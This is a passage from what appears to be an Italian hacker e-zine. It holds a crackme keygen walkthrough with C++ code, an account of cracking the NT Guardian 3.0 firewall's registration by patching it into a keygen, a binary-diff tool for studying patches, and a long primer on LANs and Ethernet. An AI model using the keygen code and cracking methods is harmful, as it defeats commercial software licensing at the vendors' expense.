loop: (nota che EAX e' initializzato a 1 alla linea :00401B1A) (nota anche che EDI e' initializzato a 0 alla linea :00401B1F) add ecx, edi ; agiunge edi a ECX (ecx e' il byte per username) imul ecx, eax ; moltiplica ECX per eax (eax e' il counter per questo loop) inc eax ; aggiunge 1 a EAX mov edi, ecx ; salva ecx in EDI (valore segreto!!!) cmp eax, esi ; modifica gli zero & segna i flag per la comparazione jbe 00401B25 ; loop se eax <= esi (esi e' la lunghezza dell'username) Le ultime 2 linee ovviamente dicono che EAX e' inserito nel counter e che e' usato per compararlo con ESI, cioe' la lunghezza dell'username. Ma come fare a sapere cosa EDI registra nel suo valore segreto? ok! sappiamo che non possono essere ne eax ne esi, sappiamo anche che non puo' essere ecx perche' ecx e' cambiato alla prima linea per muoverci l'username, e tutto evolve con delle operazioni matematiche, quindi EDI non puo' essere che il valore risultato di questo loop!!! Un'altra cosa e' che EAX viene incrementata, e' usata per prelevare i caratteri della stringa inserita e' portarli al loop. Adesso abbiamo tutto quello che ci serve per scrivere il nostro pseudo codice: i = 1 finalvalue = 0 do tmpvar = username(i) tmpvar = tmpvar * i i = i + 1 finalvalue = tmpvar repeat if i <= lunghezza dell'username Finito, il resto consiste nell'osservare e traslare il resto della routine di registrazione in un linguaggio a te familiare e modificare un pochino il codice per ottenere la registration key! Soluzione della routine di registrazione presa dal mio sorgente C++ ------------------------------------------------------------------- register DWORD i, slen, sum; char usrn[51] = "\0", key[51] = "\0", keystr[51] = "\0"; GetDlgItemText(IDC_USRN, usrn, 51); GetDlgItemText(IDC_KEY, key, 51); if ((slen = lstrlen(usrn)) < 5) { MessageBox("User Name must have at least 5 characters.", "CrackMe", MB_OK | MB_ICONINFORMATION); return; } for (sum = 0, i = 1; i <= slen; i++) { sum += usrn[i]; sum *= i; } for (i = 0; i < slen; i++) keystr[i] = LOBYTE( (sum / usrn[i]) % 10 + '0' ); if (lstrcmp(key, keystr) == 0) { // correct registration code! } else { // incorrect registration code! } Il Key Generator ----------------------- Questo e' tutto quello che ti serve per il key generator, dopo aver traslato il codice e' necessario fare l'output a video dalla "keystr[]" dell'utente. Non dovrebbe essere difficile, basta mantenere il codice utile ed eliminare quello che non ci serve cosi'... for (sum = 0, i = 1; i <= slen; i++) { sum += usrn[i]; sum *= i; } for (i = 0; i < slen; i++) keystr[i] = LOBYTE( (sum / usrn[i]) % 10 + '0' ); The_Hawk ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍCRACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ NT GUARDiAN 3.0 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ La teoria caotica applicata al cracking ovvero come ti frego la registrazione di uno dei migliori firewall C'e' chi sostiene che il buon crakkatore debba avere 3 qualita': la conoscienza, l'ingegno e il culo. Ha perfettamente ragione :) Quello che mi sono sempre chiesto io e' perche' uno deve stare ore e ore a capire cosa fa una istruzione e non segue invece l'istinto? Beh, la pratica finora mi ha dato ragione >B) Era una mattina di mezza primavera quando mi sono ritrovato di fianco un tipo very cazzuto (in altre parole, un coglione) che cercava di vendere un prodotto di tutto rispetto, NT GUARDIAN 3.0. Ovviamente, da bravo illegale che sono, non ho resistito alla tentazione di appropriarmi della versione gratuita trial 30 giorni ecc ecc che con tanta passione mostrava in giro... Beh, arrivato a casa, fatte le solite cose preliminari (preparare una partizione con NT funzionante isolata dal resto del sistema, bakuppare il BIOS e staccare gli HDD che di solito uso -- e' un ottimo metodo per non avere problemi se qualcosa va storto, basta ripulire la partizione ed e' fatto :), installato il programma questi allegramente mi dice roba del tipo "Ciao, sono il tuo migliore amico! Pero' solo per un po' di tempo, a meno che tu sia gentile e faccia una donazione alla mia casa costruttrice" ecc ecc... data un'occhiata al sottomenu che ha creato l'installazione ho, tra le altre cose, notato due programmi, uno per la creazione del modulo di ordinazione ed un altro per la registrazione del prodotto. Figo! Eseguito il programma per la registrazione e realizzato che non scriveva niente di carino in giro per il registro o in altri posti, e' venuto il turno del programma di creazione del pre-regcode da spedire (assieme a tanti soldi) all'ufficio vendite. Interessante e` stato notare che si succhiava molto allegramente il numero seriale dell'HDD sul quale era montato. Inoltre il codice di registrazione era composto da 8 gruppi di 4 cifre esadecimali. La sfida mi eccitava... >B) Il codice cambia (e non di poco) a seconda delle FLAG che si scelgono, infatti e` un unico codice per registrare un numero variabile (anche infinito) di postazioni di lavoro, name servers ed un po' di altre belle cose che mi sono scordato). 32 cifre esadecimali sono decisamente troppe per una ricerca euristica, e non si puo' certo obbligare nessuno a cambiare il proprio numero seriale dell'HDD (anche perche' sotto NT e' pericoloso). L'idea di base e' che il tuo peggiore nemico puo' diventare il tuo migliore amico, basta convincerlo opportunamente :) La protezione che il Guardian offre (la registrazione, il prodotto non l'ho neppure lanciato!) non e' delle piu' banali, ma neppure impossibile: non e' un processo apparentemente reversibile, ne' tantomeno clonabile, visto e considerato che nei 3 secondi di lag tra l'avvio del programma e la comparsa della schermata non credo proprio si faccia una pippa. Le tabelle che usa cosi' intensamente, inoltre, sono di dimensioni troppo grandi e nessuno garantisce che non dipendano strettamente dal serial number dell'HDD. Inoltre, visto che e' esplicitamente detto che se si cambia HDD si deve riacquistare il prodotto (ovviamente a spese dell'acquirente ;) e' quasi ovvio che il tutto (dal firewall al name server a tutto il resto) si ricontrolli la correttezza del reg number ad OGNI AVVIO, quindi o perdere la vita a cambiare tutti i singoli programmini (bella voglia!!) oppure convincere il programma che un ente benefico chiamato "SoftPj" ha fatto una donazione a nome tuo ;) I dettagli della ricerca li risparmio, mi e' costata tanto sudore e tanto inchiostro, schematicamente: il codice immesso viene convertito da testo ad esadecimale, scopiazzato in giro per la memoria (preoccupante scoprire quante volte il codice e' copiato e cambiato!!). Poi molto diligentemente il programma si prende una chiave di base (se non vado errato dovrebbe essere 2301 6745 ab89 efcd dcfe 98ba 5476 1032 che, non so perche', ma mi ispira sesso ;) comunque, utilizzando il magnifico comando BPM (se non ci fosse bisognerebbe inventarlo) e lokkando le zone di memoria (neppure troppo vero, anche questo codice e' copiato in giro per l'universo... e beati voi che avete poca memoria :) scopro che anche li' fa una marea di brutte cose, di quelle che non si dicono in giro, anche perche' le variabili usate sono cosi' tante che dopo le prime 40 ho rinunciato all'idea di comprenderle.... Beh alla fine di tutta la faticaccia per comprendere cosa (e dove) facesse scoprivo che il codice viene semplicemente confrontato con -- sorpresa -- la mitica MEMCMP (whoooaaahhh), presente in tutti i C dalla notte dei tempi. Bello, tutto felice controllavo il codice e come risposta attenevo "grazie di averci sponsorzzato", tutto va che e' una meraviglia. Peccato solo che da bravo bambino non tiene la variabile sempre nella stessa zona di memoria, anzi non ce la rimette mai!! Altro lavoraccio per seguire tutto il precorso delle allocazioni e trovare un punto dove l'indirizzo e` chiaro e tondo (ma soprattutto utilizzabile), trovare un qualche byte per copiare l'address altrove (e chi si fida a toccare del codice che e' chiamato pressoche' ovunque nel programma?!?!). Il resto e' stato "semplice", scrivere una procedura che andava a cambiare la stringa "hai cannato codice" (anche lei allocata random... figo!) in qualcosa che assomigliasse di piu' a "Ciao! Se vuoi registrare quello che vuoi scrivi "" e buon divertimento!" con relativo popup. Problema minore e' trovare il luogo adatto per farlo, anche perche' una routine di conversione da esadecimale a testo ASM32b occupa circa 56 bytes. Ovviamente cosi' facendo viene distrutto il programma originale, basta distribuire il programma modificato come keygen (e sono 100k di EXE, mica briciole!!!) ed usare il programma nel pacchetto originale per registrare: per come e' creato il "registratore" ha bisogno di risiedere nella directory dove e' installato il programma (ha bisogno della stessa partizione per il serial number e di un altro file di installazione per la lista delle flags), ma questo e' un difetto minore.. Basta, questo e' quanto... essendo fatto in un linguaggio ad alto livello (presumibilmente C) ed essendo usato un metodo di crittazione della chiave con confronto (se fosse stata decrittata la chiave inserita avrei potuto anche darmi all'ippica) il tutto e' stato relativamente semplice... gia' un procedimento di controllo "progressivo" (ovvero generazione e confrondo a gruppi di 4 byte) avrebbe causato non pochi disturbi. Ancora peggio per quello che riguarda la decrittazione, per fortuna hanno usato un processo irreversibile altrimenti... 'azzi acidi! :))) E buona notte a voi che potete dormire sonni tranquilli... gh gh gh gh >B))) Frank Black f.black@deathsdoor.com ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍCRACKiNGÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ T00L Di C0MPARAZi0NE ŸiLE BiNARi ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ Raptor '98 "Nihl tam munitum, quod non expugnari raptor possit...." Date: 21/04/98 Title: Tool di comparazione file binari L'autore di questo testo non si prende nessuna responsabilita' per l'uso che ne verra' fatto poiche' e' stato espressamente concepito per puri scopi ditattici. ÄÄÄ> * Desc: A volte (purtroppo) mi capita di imbattermi in dei programmi che non riesco a patchare. E la cosa che mi fa incazzare di piu' e' che qualcun'altro e' riuscito a farlo al posto mio! Allora mi sono detto: "sarei proprio curioso di sapere come cavolo ha fatto!" Niente di piu' facile, basta confrontare il file patchato con quello integro e il gioco e' fatto! Ho cercato sul web qualcosa che mi permettesse di confrontare i due file binari in questione, ma ho trovato solo i soliti tools per utilizzatori di Word, Exel e spazzatura del genere. Stufo di cercare tra queste schifezze ho deciso di scrivere da solo un programmino, tanto e' facile facile: ---------------------------------------------------- #include #include int main(int argc, char *argv[]) { FILE *file1,*file2,*comp; unsigned long ind1; int code1; int carattere1,carattere2,carattere3; if (argc!=3) {printf("\nincorrect number of arguments!\nusage: COMPARE FILE1 FILE2\n"); return 0;} if((file1=fopen(argv[1],"rb"))==NULL) {printf("\nfile '%s' not found!\n",argv[1]); return 0; } if((file2=fopen(argv[2],"rb"))==NULL) {printf("\nfile '%s' not found!\n",argv[2]); return 0; } comp=fopen("out.txt","w"); fprintf(comp," A = %s\n",argv[1]); fprintf(comp," A B offset B = %s\n",argv[2]); do { carattere1=fgetc(file1); carattere2=fgetc(file2); if (carattere1!=carattere2) {ind1=ftell(file1); fprintf(comp,"%.2x %.2x %.4x",carattere1,carattere2,ind1/0xffff) ; fprintf(comp,"%.4x\n", ind1-1); } } while(carattere1!=EOF); fclose(file1); fclose(file2); fclose(comp); return 0; } ----------------------------------------------------- Il programma e' per dos perche' non ho un compilatore per Win95. Si usa in questo modo: >compare file1.exe file2.exe Verra' generato il file OUT.TXT con il seguente contenuto: ----------------------------------------------------- A = file1.exe A B offset B = file2.exe 74 75 00000285 0b 33 0000139a 07 90 00003037 00 90 00003038 00 90 00003039 ------------------------------------------------------ Il risultato e' facilmente interpretabile A e B sono i valori del codice in esadecimale dei due files e 'offset' e' l'indirizzo in cui si differenziano. Si potranno poi editare i file con HIEW per vedere a che comandi corrispondono i valori contenuti a quegli indirizzi. E' un tool stupido ma abbastanza utile per imparare. Raptor ÄÄÄ> Tank's to PC98, MexElite and Fravia for their tutorials ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ RETi L0CALi ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve lettori.... In questo articolo il vostro caro fratello DrumFire cerchera' di dare una spiegazione piu' o meno sofisticata delle reti locali, del perche' sono state fatte, dei vantaggi, degli svantaggi che ne vengono usandole e le varie problematiche relative alla trasmissione dei dati. Non so se riusciro' a scrivere tutto e sopratutto a spiegarlo nel miglior dei modi, quindi se qualcuno non capisce....beh, richiedetemi spiegazioni :)))) Cmq, se non sapete una sega di reti........ non so quanto sia utile per voi leggere l'articolo. Definizione di Rete Locale: Generalmente per rete locale si intendono 2 o piu' calcolatori connessi tra di loro che comunicano attraverso un canale trasmissivo ad alta' velocita' e con un basso tasso di errore e che non attraversa il suolo pubblico. Perche' nascono le reti di calcolatori: Beh, come tutti ormai sapranno, prima che fossero create le reti, esistevano delle specie di pseudoreti, che erano composte dai grandi MainFrame, a cui erano collegati tutta una serie di terminali stupidi che non avevno altro che la tastiera per digitare i comandi ed un monitor che supportava solo la modalita' testo e che era connesso al mainframe attraverso un porta seriale.. Ovviamente, per quei tempi, gia' i mainframe erano una cosa piu' che valida, in quanto le tecnologie non erano arrivate fino a dove siamo arrivati noi. Il problema, con queste pseudoreti, era che i terminali erano veramente "stupidi", cioe' se il mainframe non era acceso risultavano morti, cioe' tutto dipendeva dal funzionamento o meno del mainframe... Con l'avvento delle reti di calcolatori,invece si potevano sostituire ai terminali "stupidi" dei piccoli elaboratori "intelligenti" che interconnessi tra di loro, davano sicuramente una maggiore elasticita' di comunicazione, una maggiore affidabilita' e una maggiore potenza. Ovviamente, a quei tempi, parlo degli anni '60, il tutto non era facile come ai tempi nostri. I progettisti, infatti, si trovavano di fronte ad una serie di problemi che cerchero' di riassumere brevemente... Per prima cosa, infatti, bisognava tenere in considerazione il fatto che questi piccoli elaboratori intelligenti fossero delle realta' dinamiche, cioe' dovessero adattarsi facilmente ad ogni tipo di mutamento, e cosi' pure le reti che li collegavano dovevano farlo... Diciamo che le reti di calcolatori vennero create per permettere la cosiddetta "condivisione delle informazioni", cioe' la possibilita' da parte di tutti di accedere a determinate risorse, indipendentemente dalla loro collocazione fisica. I vantaggi che derivano dall'uso delle reti sono i seguenti: 1) Alta affidabilita': Difatti, rendere affidabile una rete di calcolatori, rende sicuramente di piu' rispetto a rendere affidabile un grosso Mainframe. 2) Risparmio: E' chiaro che per realizzare una rete di calcolatori sia il costo dell'hardware sia quello del software e' sicuramente minore rispetto al software e all'hardware di un sistema centralizzato. 3) Elasticita': Una rete di calcolatori e' sicuramente piu' elastica e piu modificabile di una rete basata su MainFrame. Cioe' aggiungere un computer ad una rete oggi e' una cosa relativamente facile. Ai giorni nostri,le reti locali divenute ormai storiche sono la "Ethernet" e la "Token Ring". Tuttavia, accanto a queste, se ne sono sviluppate altre come la FDDi, la ATM etc... La velocita' trasmissiva delle reti locali oscilla tra i 4Mb/s e i 100Mb/s Le LAN sono oggi costituite da "calcolatori indipendenti" cioe' da macchine che se ne fregano di cosa fanno gli altri. Cioe' se siete su un sistema in rete voi potete continuare a lavorare in modalita' standalone, senza usarla... Al contrario invece, i terminali "stupidi" erano vivamente connessi alla rete e vivevano solo tramite la connessione al MainFrame. Si e' parlato, nella definizione di LAN, di una rete di calcolatori che comunica attraverso un canale trasmissivo ad alta' velocita'. Si', anche se il canale trasmissivo e' uno solo, il modo di usarlo viene definito a "burst". In pratica, ogni calcolatore connesso alla rete, per la maggior parte del tempo non la utilizza, ma quando la utilizza, chiede il massimo da essa. Cio' vuol dire che quando un calcolatore scrive sulla rete in pratica diventa proprietario della rete per un tot di tempo che equivale al tempo impiegato a trasmettere uno o piu' pacchetti di dati. Quindi quando un sistema trasmette sfrutta a pieno tutta la capacita' trasmissiva del canale. La comunicazione e' di tipo BROADCAST ovvero una macchima trasmette e le altre ricevono. Questo tipo di comunicazione ha portato dei vantaggi, ma anche dei piccoli problemi: infatti si richiede che siano presenti degli indirizzi che servono per identificare ogni singolo calcolatore all'interno della rete. Si parla infine di basso tasso di errore poiche' il canale trasmissivo usato e' un canale affidabile (cavo coassiale, doppino, fibra ottica) e quindi anche la probabilita' di presenza di errori e' ridotta quasi a 0. Infatti, il livello 2 del modello OSI nelle reti locali non implementa alcuna routine che provveda alla correzione degli errori. I pacchetti errati vengono scartati, poi saranno i livelli superiori che si preoccuperanno della ritrasmissione del pacchetto. --- Tipologie di rete: Seguira' un breve elenco delle tipologie di rete esistenti sulla faccia della terra (almeno fino ad oggi, poi domani chissa')... Tipologia a BUS: La classica rete a BUS e' la mitica rete Ethernet... --------- --------- --------- | D | | E | | F | --------- --------- --------- | | | BUS -------------------------------------------------------------------- | | | --------- --------- --------- | A | | B | | C | --------- --------- --------- Tipologia ad Anello: La tipologia ad anello consiste in una rete locale in cui i calcolatori sono collegati insieme uno all'altro in questo modo: ------- | | /| A |\ / ------- \ / \ / \ / \ ------ ------ | | | | | D | | B | ------ ------ \ / \ / \ ------- / \ | | / \| C |/ ------- Da come si deduce dal grafico il pacchetto che verra' trasmesso da una stazione all'altra dovra' passare anche per le altre stazioni. Un classico esempio di una rete ad anello e' la rete Token-Ring, anche se poi in verita' tanto ad anello non e' visto che fisicamente e' invece una rete a stella. Tipologia a stella: Questa e' un topologia che sta prendendo sempre piu' campo nel mondo delle reti e che oggi come oggi e' stata anche adottata dalle reti Ethernet e Token-Ring. ------- | | | A | ------- | | ------- ------- ------- | | | | | | | D |------| BUS |------| B | ------- ------- ------- | | ------- | | | C | ------- In questo esempio il BUS potrebbe essere il classico HUB presente nelle reti Ethernet, oppure potrebbe essere il MAU delle Token-Ring. ---- Oggi come oggi esiste un progetto, chiamato IEEE 802 che si pone il problema della standardizzazione dei vari tipi di reti locali (ethernet, token, arc etc..). Sono stati nominati 6 comitati che si preoccupano della standardizzazione di ogni singolo tipo di rete locale. Ecco un elenco: Tralasciando 802.1 e 802.2 - 802.3 CSMA/CD (Ethernet) - 802.4 Token BUS - 802.5 Token Ring Inizieremo quindi a parlare dello standard 802.3 . Come potete aver letto nel precedente BFI dove si parlava del modello OSI, dei 7 livelli e delle loro specifiche funzionalita'. Lo standard IEEE si frappone agli ultimi 2 livelli del modello OSI con i protocolli LLC e MAC per rendere possibile l'unificazione dell'interfaccia che i vari tipi di reti locali devono fornire al livello 3 (rete) ------------------------------------------------------- Livello 3 ----------------------------------------------- LLC "Protocollo comune a tutte le reti locali" ----------------------------------------------- | | | | | ----------------------------------------------- ---|-802.3-|-802.5--|--802.4--|--xxxx---|-xxx----|---- Livello 2 | | | MAC | MAC | MAC | MAC | MAC | |---------------------------------------------| ------------------------------------------------------- Livello 1 Come si puo' vedere dallo schemail protocollo MAC (Medium Access Control) e' un protocollo specifico per ogni rete locale. Cio' vuol dire che sia Ethernet sia Token ring avranno il protocollo MAC, che pero' funzionera' in modo diverso a seconda della rete che si sta usando. E' un protocollo inportantissimo, in quanto dal livello 7 al livello 2 i vari protocolli cosiderano la trasmissione di tipo broadcast, anche se questa in effetti non lo e'. Esiste un MAC per ogni tipo di rete locale presente al mondo, quindi ci saranno MAC a CSMA se e' un MAC di Ethernet, MAC a token, se e' installato sulle token ring, etc... Abbiamo parlato prima di trasmissione di tipo broadcast. Questo particolare tipo di trasmissione implica che su ogni macchina sia presente un indirizzo per identificare il vero mittente e il vero destinatario, e implica anche una corretta politica di condivisione del mezzo trasmissivo ed una efficiente risoluzione degli errori, per esempio, le collisioni di 2 o piu' schede di rete. Il MAC serve proprio a questo. Nel secondo caso, esistono degli algoritmi implementati a livello di MAC che si occupano delle politiche di condivisione. Nel primo caso invece, il MAC deve accertarsi del vero mittente, del destinatario, ma anche del tipo di indirizzo a cui si sta facendo riferimento, cioe' se e' di tipo Point to Point, se e' Point to Group o infine se appartiene alla categoria dei Point to All. Point to Point Single Point to Group Multicast Point to All Broadcast. Nel primo caso, il MAC non fara' altro che confrontare l'indirizzo di destinazione della shceda di rete con l'indirizzo vero della scheda di rete locale; se questi 2 sono equivalenti allora sa alla perfezione che quel pacchetto e' destinato a quella scheda. Se invece l'indirizzo di destinazione e' Broadcast, allora la scheda prendera' tutti i pacchetti che gli arrivano. Nel caso invece che la trasmissione sia di tipo MULTICAST, allora il MAC non fara' altro che accertarsi che l'indirizzo di destinazione sia appartenente ad uno dei gruppi a cui la scheda di rete appartiene, cioe' immaginiamo una organizzazione ad albero: ---------- | A | ---------- /---/ \---\ / \ / \ -------- -------- | gro 1| | gro 2| -------- -------- \ / | | \ ------ / ------- ------- ------ sc1 / sc2 sc3 sc4 ------ -------- ------- ------ sc1, sc2, sc3, sc4 : Schede di rete. gro1, gro2 : Gruppi di determinati tipi di schede di rete che offrono determinati servizi. Se io voglio trasmettere alle schede di rete che offrono un certo servizio, mettiamo quelle appartenenti al gruppo 2, non faro' altro che mettere nell'indirizzo di destinazione l'indirizzo appartenente a quel gruppo che poi tramite alcune tabelle pensera' a smistare correttamente il pacchetto. Bene, abbiamo parlato fino ad ora degli indirizzi, ma volete sapere che indirizzi sono??!? Un indirizzo MAC e' composto da 6 byte, di cui i primi 3 identificano il tipo del costruttore della scheda, mentre gli altri 3 sono ottenuti tramite una numerazione progressiva che si differenzia da ogni altra scheda: in teoria quindi non ci dovrebbero essere al mondo 2 o + schede di rete che abbiano lo stesso indirizzo. Poiche' questo e' impossibile da ottenere, per ovviare all'inconveniente di trovarsi con 2 schede di rete con lo stesso indirizzo e quindi con la rete che non va, allora sono stati inventati dei software che andando a scrivere all'interno di un apposito buffer, riescono a modificare questo indirizzo, rendendo possibile quindi anche la trasmissione di 2 schede di rete che abbiano indirizzi uguali. Ricordate che l'indirizzo MAC e' contenuto in una ROM all'interno della scheda. Quando il MAC trasmette sul canale, invia 2 bit che sono importantissimi. Il primo bit identifica se l'indirizzo e' un indirizzo locale o appartiene ad un gruppo. Il secondo indirizzo invece specifica se l'indirizzo della scheda di rete e' ufficiale, oppure se e' stato cambiato tramite quel software di cui vi ho appena parlato. Se noi consideriamo una serie di byte: |--------| |--------| |--------| |--------| |--------| 1 2 3 4 5 Ognuno e' composto da 8 bit; lo standard IEEE 802.3 definisce che la trasmissione debba avvenire partendo dal byte 1 per arrivare al byte 7; pero' i bit devono essere trasmessi in ordine inverso: |------- | 1 bit se n'e' andato (-1 bit) |------ | 1 bit se n'e' andato (-2 bit) |----- | 1 altro e cosi' via..(-3,-4,-5,-6,-7,-8 bit) Le schede di rete Token Ring anche loro trasmettono dal primo byte al settimo, ma nell'ordine inverso alla schede Ethernet. Per cui: | -------| 1 bit se n'e' andato (-1 bit) | ------| 1 bit se n'e' andato (-2 bit) | -----| 1 altro e cosi' via..(-3,-4,-5,-6,-7,-8 bit) Come potete notare c'e' differenza tra le schede di rete, pero' poiche' lo scopo di IEEE 802 e' anche quello di fare in modo che i vari tipi di MAC forniscano al LLC lo stesso frame di dati, allora e' stata necessaria una standardizzazione dei 2 modi di trasmettere. Si e' pensato al modo Ethernet. Questo vuol dire quindi che se il MAC di ethernet deve trasmettere al livello LLC ci spara direttamente i bit come vengono. Nel caso invece che la scheda sia di tipo TokenRing allora dovra' essere fatta una conversione, che sara' eseguita nel SAP tra il MAC e il LLC (SAP sta per Service Access Point). PDU di un MAC: DSAP SSAP Information FCS ---------------------------------------- | | | | | ---------------------------------------- Il FCS sta per Frame Control Sequence ed e' il frame che controlla se e' avvenuta una corretta ricezione o meno del pacchetto. Ad ogni modo cmq il segnale di ritrasmissione verrebbe dato dal protocollo LLC. Il protocollo LLC e' studiato per permettere la convivenza su una stessa rete di piu' protocolli di rete. E' una versione semplificata del protocollo HDLC usato in ambito di reti geografiche. Come gli altri protocolli appartenenti ad altri livelli, puo' lavorare sia in modalita' connessa oppure in modalita' non connessa. Poiche' si parla di reti locali la modalita' non connessa la tira per le lunghe. Tutti i protocolli MAC della varie reti locali forniscono al LLC i pacchetti nello stesso identico modo. Domanda: avete una rete a casa con Findus 95 e avete installato sia il protocollo TCP-IP che il NetBeui, usato principalmente per giocare a Hearts in rete... Bene, secondo voi, come cazzo fa il livello di DATALINK a sapere a quale protocollo di rete (IP o NETBEUI) dovra' mandare il pacchetto che gli e' appena arrivato?!?! Ricordate che il livello di datalink non sa una sega dei protocolli installati sulla macchina, per cui bisogna che nel pacchetto ci sia anche qualche informazione che fa capire al livello 2 a quale protocollo di rete deve essere mandato il pacchetto. Esempio grafico... Livello 3 (Protocolli installati) ------------- ------------- -------------- | IP | | IPX | | NETBEUI | ------------- ------------- -------------- | | | | | | | | | ------| | --------------- | | | | | | ----------------------------- | Frame LLC | Livello 2 (datalink) ----------------------------- Sia al protocollo IP, IPX e NETBEUI sono stati ufficialmente assegnati dei numero in esadecimale (000F, 000D, 00DD) che corrispondono a ognuno dei singoli protocolli di rete. Se noi giochiamo a hearts in rete il protocollo utilizzato sara' il NetBeui. Per cui mettiamo che gli sia stato assegnato il valore 000A. Il campo dell'indirizzo di destinazione del pacchetto LLC sara' 000A. Quindi il frame LLC sapra' che quel pacchetto e' di tipo NetBeui e provvedera' a mandarlo al suddetto protocollo. Ovviamente questa tecnica e' adottata solo nel caso in cui vengano usati protocolli di rete riconosciuti come ufficiali ai quali e' stato assegnato un indirizzo specifico. Mettiamo il caso pero' che sia in fase di costruzione un nuovo protocollo di rete che non abbia alcun tipo di compatibilita' con quelli ufficiali. In questo caso il normale frame LLC non avra' nessuno effetto in quanto il protocollo X e' proprietario e quindi non riconosciuto dal ISO. Si ricorre quindi al pacchetto SNAP: Il pacchetto SNAP non e' altro che un normale pacchetto LLC che al campo destinazione, dove prima c'era il numerino assegnato al protocollo di rete, avra' il valore 0AAH e cosi' pure nel sorgente. In questo caso quindi il frame LLC sara' piu' grosso, in quanto sara' necessario includere nel pacchetto le specifiche del protocollo proprietario. ** STRUTTURA DI UN NORMALE FRAME LLC (IEEE 802.2) ** DSAP SSAP Control Informat ---------------------------------- | 0FFD | 000G | 03H | L3-PDU | ---------------------------------- ** STRUTTURA DI UN PACCHETTO SNAP** DSAP SSAP Control Protocol Identifier Informati. ---------------------------------------------------------- | 0AAH | 0AAH | 03H | 000000H | 0800H | L3-PDU | LLC/SNAP ---------------------------------------------------------- Come si puo' vedere,la differenze tra i 2 diversi frame LLC e' che il primo, poiche' deve passare il pacchetto ad un protocollo di rete ISO, non ha bisogno di specificarne anche le caratteristiche al contrario del frame SNAP che invece tra il campo Control e Informati ha aggiunto anche l'identificativo del protocollo di rete proprietario. A seconda del valore del campo Control si distinguono anche 3 diversi tipi di frame LLC oppure chiamati PDU. 1) Unnumbered PDU, e' usata per trasportare informazioni di utente per scopi di inizializzazione e diagnostica. 2) Information PDU, e' il frame usato quando si lavora in modalita' connessa. 3) Supervisory PDU, e' usato quando, lavorando in modalita' connessa, sia necessario trasportare info di controllo del protocollo ------------------------------------------------------------------------------- Dopo aver dato un'occhiata veloce veloce ai 2 sottolivelli introdotti dal IEEE 802 all'interno del modello ISO/OSI, approfondiamo il funzionamento della rete Ethernet, analizzando quindi il funzionamento del protocollo CSMA/CD. CSMA/CD sta per: Carrier Sense, Multiple Access, Collision Detect. Queste tre fasi, rappresentano le 3 fasi principali del modo di lavorare della rete Ethernet. 1) Carrier Sense: Ogni stazione prima di inviare dati sul canale trasmissivo ascoltera' la portante e, nel caso il canale sia libero, cominciera' la trasmissione dati. Nel caso invece che gia' una stazione stia trasmettendo, la scheda di rete non potra' trasmettere. 2) Multiple Access: Nel caso in cui 2 stazioni ascoltino contemporaneamente il mezzo trasmissivo e contemporaneamente rilevino che il canale e' libero allora potra' accadere che le 2 stazioni inizino la loro trasmissione nello stesso istante di tempo T provocando quindi una collisione e una errata trasmissione di informazioni. 3) Collision Detect: Per ovviare all'inconveniente delle collisioni, ogni scheda di rete durante la trasmissione dovra' anche ascoltare il mezzo trasmissivo per accorgersi se c'e' in corso una collisione. In questo caso le stazioni che sono in conflitto smettono di trasmettere e viene generato un pacchetto di Jamming che informa tutte le altre stazioni che e' avvenuta una collisione. Successivamente tramite un algoritmo di BackOff verra' calcolato il tempo che dovra' passare prima che le 2 stazioni possano ritrasmettere sul canale (tempo pseudocasuale). Devo dire, purtroppo, che almeno in teoria il modo di funzionamento della rete Ethernet fa' veramente schifo rispetto alla Token-Ring, dove invece tutto ha una sua logica. Nonostante questo pero', all'atto pratico, la rete Ethernet e' risultata molto piu' efficiente della Token-Ring e questo e' stato il motivo per cui oggi la rete Ethernet e' una delle piu' usate. ------------------------------------------------------------------------------- L'importante e' non confondere la parola indirizzo con l'indirizzo IP del computer. Questo perche' ad ogni livello corrispondente al modello a 7 livelli ISO/OSI ci sono dei campi che identificano sempre l'indirizzo di destinazione e quello sorgente: Tabella: (presumendo che ci sia installato sopra il protocollo TCPIP) A livello 1 (Fisico) ci saranno gli indirizzi fisici della schede di rete installate sul vostro computer. (es: 01 80 34 23 76 F0) A livello 2 (datalink) ci saranno gli "indirizzi" dei protocolli di rete installati sulla macchina. (es: 000F per IP, AB5F per NetBeui etc...) A livello 3 (rete) ci sono gli indirizzi IP di destinazione e sorgente dei 2 calcolatori che stanno comunicando. (es: 195.234.232.1) A livello 4 (Trasporto) ci saranno gli indirizzi della porta sorgente da dove e' partita la trasmissione e quella da dove e' finita. (es: 139) Ok, per ora penso basti! Dopo aver analizzato i livelli 1 e 2 del modello OSI, se ne avro' voglia (ma sicuramente saro' costretto a farlo) analizzeremo anche il livello di rete e poi via via gli altri. INFORMATION WANTS TO BE FREE DrumFire ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ 